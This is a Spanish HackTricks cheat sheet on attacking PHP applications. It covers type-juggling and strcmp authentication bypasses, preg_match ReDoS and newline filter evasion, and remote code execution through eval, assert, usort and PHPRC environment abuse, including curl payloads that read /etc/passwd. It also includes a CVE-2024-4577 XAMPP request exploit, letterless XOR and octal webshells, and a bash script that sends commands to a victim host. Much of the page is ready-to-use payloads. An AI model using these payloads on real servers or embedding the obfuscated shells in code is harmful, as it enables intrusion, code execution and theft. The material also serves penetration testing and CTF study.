PHP Tricks
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Ubicaci贸n com煤n de las cookies:
Esto tambi茅n es v谩lido para las cookies de phpMyAdmin.
Cookies:
PHPSESSID
phpMyAdmin
Ubicaciones:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Bypass de comparaciones PHP
Comparaciones sueltas/Juggling de tipos ( == )
Si se utiliza ==
en PHP, hay casos inesperados donde la comparaci贸n no se comporta como se espera. Esto se debe a que "==" solo compara valores transformados al mismo tipo; si tambi茅n deseas comparar que el tipo de los datos comparados sea el mismo, necesitas usar ===
.
Tablas de comparaci贸n de PHP: https://www.php.net/manual/en/types.comparisons.php
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
"string" == 0 -> True
Una cadena que no comienza con un n煤mero es igual a un n煤mero"0xAAAA" == "43690" -> True
Cadenas compuestas por n煤meros en formato decimal o hexadecimal pueden compararse con otros n煤meros/cadenas con True como resultado si los n煤meros son los mismos (los n煤meros en una cadena se interpretan como n煤meros)"0e3264578" == 0 --> True
Una cadena que comienza con "0e" y seguida de cualquier cosa ser谩 igual a 0"0X3264578" == 0X --> True
Una cadena que comienza con "0" y seguida de cualquier letra (X puede ser cualquier letra) y seguida de cualquier cosa ser谩 igual a 0"0e12334" == "0" --> True
Esto es muy interesante porque en algunos casos puedes controlar la entrada de la cadena de "0" y alg煤n contenido que se est谩 hasheando y comparando con ella. Por lo tanto, si puedes proporcionar un valor que cree un hash que comience con "0e" y sin ninguna letra, podr铆as eludir la comparaci贸n. Puedes encontrar cadenas ya hasheadas con este formato aqu铆: https://github.com/spaze/hashes"X" == 0 --> True
Cualquier letra en una cadena es igual a int 0
M谩s informaci贸n en https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Juggling de tipos tambi茅n afecta a la funci贸n in_array()
por defecto (necesitas establecer en true el tercer argumento para hacer una comparaci贸n estricta):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Si esta funci贸n se utiliza para cualquier verificaci贸n de autenticaci贸n (como verificar la contrase帽a) y el usuario controla un lado de la comparaci贸n, puede enviar un array vac铆o en lugar de una cadena como el valor de la contrase帽a (https://example.com/login.php/?username=admin&password[]=
) y eludir esta verificaci贸n:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
El mismo error ocurre con strcasecmp()
Conversi贸n de tipos estricta
Incluso si ===
est谩 siendo utilizado, podr铆a haber errores que hacen que la comparaci贸n sea vulnerable a la conversi贸n de tipos. Por ejemplo, si la comparaci贸n est谩 convirtiendo los datos a un tipo diferente de objeto antes de comparar:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
podr铆a usarse para validar la entrada del usuario (verifica si alguna palabra/regex de una lista negra est谩 presente en la entrada del usuario y si no lo est谩, el c贸digo puede continuar su ejecuci贸n).
Bypass de nueva l铆nea
Sin embargo, al delimitar el inicio de la regexp, preg_match()
solo verifica la primera l铆nea de la entrada del usuario, entonces, si de alguna manera puedes enviar la entrada en varias l铆neas, podr铆as ser capaz de eludir esta verificaci贸n. Ejemplo:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Para eludir esta verificaci贸n, podr铆as enviar el valor con nuevas l铆neas urlencoded (%0A
) o si puedes enviar datos JSON, env铆alos en varias l铆neas:
{
"cmd": "cat /etc/passwd"
}
Encuentra un ejemplo aqu铆: https://ramadistra.dev/fbctf-2019-rceservice
Bypass de error de longitud
(Este bypass se intent贸 aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)
Si puedes enviar a preg_match()
una entrada muy grande v谩lida, no podr谩 procesarla y podr谩s eludir la verificaci贸n. Por ejemplo, si est谩 bloqueando un JSON, podr铆as enviar:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
Bypass de ReDoS
Truco de: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 y https://mizu.re/post/pong
En resumen, el problema ocurre porque las funciones preg_*
en PHP se basan en la biblioteca PCRE. En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que consume mucho espacio en la pila. Es posible establecer un l铆mite en la cantidad de recursiones permitidas, pero en PHP este l铆mite por defecto es 100.000, que es m谩s de lo que cabe en la pila.
Este hilo de Stackoverflow tambi茅n fue vinculado en la publicaci贸n donde se habla m谩s a fondo sobre este problema. Nuestra tarea ahora estaba clara:
Enviar una entrada que hiciera que la regex realizara 100_000+ recursiones, causando SIGSEGV, haciendo que la funci贸n preg_match()
devolviera false
, haciendo que la aplicaci贸n pensara que nuestra entrada no es maliciosa, lanzando la sorpresa al final de la carga 煤til algo como {system(<verybadcommand>)}
para obtener SSTI --> RCE --> flag :).
Bueno, en t茅rminos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como indica la documentaci贸n de PHP por defecto es 1_000_000 (1M) en la variable pcre.backtrack_limit
.\
Para alcanzar eso, 'X'*500_001
resultar谩 en 1 mill贸n de pasos de retroceso (500k hacia adelante y 500k hacia atr谩s):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Manipulaci贸n de tipos para ofuscaci贸n de PHP
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
Si PHP est谩 redirigiendo a otra p谩gina pero no se llama a ninguna funci贸n die
o exit
despu茅s de que se establece el encabezado Location
, PHP contin煤a ejecut谩ndose y agregando los datos al cuerpo:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Explotaci贸n de Traversal de Ruta e Inclusi贸n de Archivos
Verificar:
M谩s trucos
- register_globals: En PHP < 4.1.1.1 o si est谩 mal configurado, register_globals puede estar activo (o su comportamiento est谩 siendo imitado). Esto implica que en variables globales como $_GET si tienen un valor e.g. $_GET["param"]="1234", puedes acceder a 茅l a trav茅s de **$param. Por lo tanto, al enviar par谩metros HTTP puedes sobrescribir variables** que se utilizan dentro del c贸digo.
- Las cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar, por lo tanto, si dentro de un dominio se utilizan diferentes cookies en diferentes rutas puedes hacer que una ruta acceda a la cookie de la otra ruta configurando el valor de la cookie de la otra ruta.
De esta manera, si ambas rutas acceden a una variable con el mismo nombre puedes hacer que el valor de esa variable en path1 se aplique a path2. Y luego path2 tomar谩 como v谩lidos las variables de path1 (d谩ndole a la cookie el nombre que le corresponde en path2). - Cuando tengas los nombres de usuario de los usuarios de la m谩quina. Verifica la direcci贸n: /~<USERNAME> para ver si los directorios php est谩n activados.
- LFI y RCE usando envoltorios php
password_hash/password_verify
Estas funciones se utilizan t铆picamente en PHP para generar hashes a partir de contrase帽as y para verificar si una contrase帽a es correcta en comparaci贸n con un hash.
Los algoritmos soportados son: PASSWORD_DEFAULT
y PASSWORD_BCRYPT
(comienza con $2y$
). Ten en cuenta que PASSWORD_DEFAULT es frecuentemente lo mismo que PASSWORD_BCRYPT. Y actualmente, PASSWORD_BCRYPT tiene una limitaci贸n de tama帽o en la entrada de 72bytes. Por lo tanto, cuando intentas hashear algo m谩s grande que 72bytes con este algoritmo, solo se utilizar谩n los primeros 72B:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP headers bypass abusando de errores de PHP
Causando un error despu茅s de establecer encabezados
Desde este hilo de twitter puedes ver que al enviar m谩s de 1000 par谩metros GET o 1000 par谩metros POST o 20 archivos, PHP no va a establecer encabezados en la respuesta.
Permitiendo el bypass, por ejemplo, de los encabezados CSP que se establecen en c贸digos como:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Llenando un cuerpo antes de establecer encabezados
Si una p谩gina PHP est谩 imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario, el usuario puede hacer que el servidor PHP imprima de vuelta alg煤n contenido lo suficientemente largo para que cuando intente agregar los encabezados a la respuesta, el servidor genere un error.
En el siguiente escenario, el atacante hizo que el servidor generara algunos errores grandes, y como puedes ver en la pantalla, cuando PHP intent贸 modificar la informaci贸n del encabezado, no pudo (por ejemplo, el encabezado CSP no se envi贸 al usuario):
SSRF en funciones PHP
Consulta la p谩gina:
Ejecuci贸n de c贸digo
system("ls");
&#xNAN;`ls`;
shell_exec("ls");
Consulta esto para m谩s funciones 煤tiles de PHP
RCE a trav茅s de preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Para ejecutar el c贸digo en el argumento "replace" se necesita al menos una coincidencia.
Esta opci贸n de preg_replace ha sido desaprobada a partir de PHP 5.5.0.
RCE a trav茅s de Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE a trav茅s de Assert()
Esta funci贸n dentro de php te permite ejecutar c贸digo que est谩 escrito en una cadena para devolver verdadero o falso (y dependiendo de esto alterar la ejecuci贸n). Por lo general, la variable del usuario se insertar谩 en medio de una cadena. Por ejemplo:
assert("strpos($_GET['page']),'..') === false")
--> En este caso, para obtener RCE podr铆as hacer:
?page=a','NeVeR') === false and system('ls') and strpos('a
Necesitar谩s romper la sintaxis del c贸digo, agregar tu payload, y luego arreglarlo de nuevo. Puedes usar operaciones l贸gicas como "and" o "%26%26" o "|". Ten en cuenta que "or", "||" no funciona porque si la primera condici贸n es verdadera, nuestro payload no se ejecutar谩. De la misma manera, ";" no funciona ya que nuestro payload no se ejecutar谩.
Otra opci贸n es agregar a la cadena la ejecuci贸n del comando: '.highlight_file('.passwd').'
Otra opci贸n (si tienes el c贸digo interno) es modificar alguna variable para alterar la ejecuci贸n: $file = "hola"
RCE a trav茅s de usort()
Esta funci贸n se utiliza para ordenar un array de elementos utilizando una funci贸n espec铆fica.
Para abusar de esta funci贸n:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
Puedes tambi茅n usar // para comentar el resto del c贸digo.
Para descubrir el n煤mero de par茅ntesis que necesitas cerrar:
?order=id;}//
: obtenemos un mensaje de error (Parse error: syntax error, unexpected ';'
). Probablemente nos falte uno o m谩s corchetes.?order=id);}//
: obtenemos una advertencia. Eso parece correcto.?order=id));}//
: obtenemos un mensaje de error (Parse error: syntax error, unexpected ')' i
). Probablemente tengamos demasiados corchetes de cierre.
RCE a trav茅s de .httaccess
Si puedes subir un .htaccess, entonces puedes configurar varias cosas e incluso ejecutar c贸digo (configurando que los archivos con extensi贸n .htaccess pueden ser ejecutados).
Se pueden encontrar diferentes shells .htaccess aqu铆
RCE a trav茅s de Variables de Entorno
Si encuentras una vulnerabilidad que te permite modificar variables de entorno en PHP (y otra para subir archivos, aunque con m谩s investigaci贸n tal vez esto se pueda eludir), podr铆as abusar de este comportamiento para obtener RCE.
LD_PRELOAD
: Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso puede que no funcione).PHPRC
: Instruye a PHP sobre d贸nde localizar su archivo de configuraci贸n, generalmente llamadophp.ini
. Si puedes subir tu propio archivo de configuraci贸n, entonces, usaPHPRC
para apuntar a 茅l. Agrega una entrada deauto_prepend_file
especificando un segundo archivo subido. Este segundo archivo contiene c贸digo PHP normal, que luego es ejecutado por el runtime de PHP antes de cualquier otro c贸digo.
- Sube un archivo PHP que contenga nuestro shellcode
- Sube un segundo archivo, que contenga una directiva de
auto_prepend_file
instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1 - Establece la variable
PHPRC
al archivo que subimos en el paso 2.
- Obt茅n m谩s informaci贸n sobre c贸mo ejecutar esta cadena del informe original.
- PHPRC - otra opci贸n
- Si no puedes subir archivos, podr铆as usar en FreeBSD el "archivo"
/dev/fd/0
que contiene elstdin
, siendo el cuerpo de la solicitud enviada alstdin
: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- O para obtener RCE, habilita
allow_url_include
y prepende un archivo con c贸digo PHP en base64: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- T茅cnica de este informe.
XAMPP CGI RCE - CVE-2024-4577
El servidor web analiza las solicitudes HTTP y las pasa a un script PHP ejecutando una solicitud como http://host/cgi.php?foo=bar
como php.exe cgi.php foo=bar
, lo que permite una inyecci贸n de par谩metros. Esto permitir铆a inyectar los siguientes par谩metros para cargar el c贸digo PHP desde el cuerpo:
-d allow_url_include=1 -d auto_prepend_file=php://input
Adem谩s, es posible inyectar el par谩metro "-" utilizando el car谩cter 0xAD debido a la normalizaci贸n posterior de PHP. Consulta el ejemplo de exploit de esta publicaci贸n:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
Bypass de sanitizaci贸n de PHP & Brain Fuck
En esta publicaci贸n es posible encontrar grandes ideas para generar un c贸digo PHP de brain fuck con muy pocos caracteres permitidos.
Adem谩s, tambi茅n se propone una forma interesante de ejecutar funciones que les permiti贸 eludir varias verificaciones:
(1)->{system($_GET[chr(97)])}
An谩lisis est谩tico de PHP
Mira si puedes insertar c贸digo en las llamadas a estas funciones (de aqu铆):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Si est谩s depurando una aplicaci贸n PHP, puedes habilitar globalmente la impresi贸n de errores en /etc/php5/apache2/php.ini
a帽adiendo display_errors = On
y reiniciar apache: sudo systemctl restart apache2
Desofuscando c贸digo PHP
Puedes usar el web www.unphp.net para desofuscar c贸digo php.
Envolturas y Protocolos de PHP
Las envolturas y protocolos de PHP podr铆an permitirte eludir las protecciones de escritura y lectura en un sistema y comprometerlo. Para m谩s informaci贸n consulta esta p谩gina.
RCE no autenticada de Xdebug
Si ves que Xdebug est谩 habilitado en una salida de phpconfig()
, deber铆as intentar obtener RCE a trav茅s de https://github.com/nqxcode/xdebug-exploit
Variables variables
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE abusando de $_GET["a"]($_GET["b")
Si en una p谩gina puedes crear un nuevo objeto de una clase arbitraria podr铆as obtener RCE, consulta la siguiente p谩gina para aprender c贸mo:
PHP - RCE abusing object creation: new $_GET"a"
Ejecutar PHP sin letras
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Usando octal
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If 垄___ not needed then $_($__), show_source(.passwd)
C贸digo de shell f谩cil XOR
Seg煤n este informe es posible generar un c贸digo de shell f谩cil de esta manera:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Entonces, si puedes ejecutar PHP arbitrario sin n煤meros y letras puedes enviar una solicitud como la siguiente abusando de esa carga 煤til para ejecutar PHP arbitrario:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Para una explicaci贸n m谩s detallada, consulta https://ctf-wiki.org/web/php/php/#preg_match
Shellcode XOR (dentro de eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl como
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.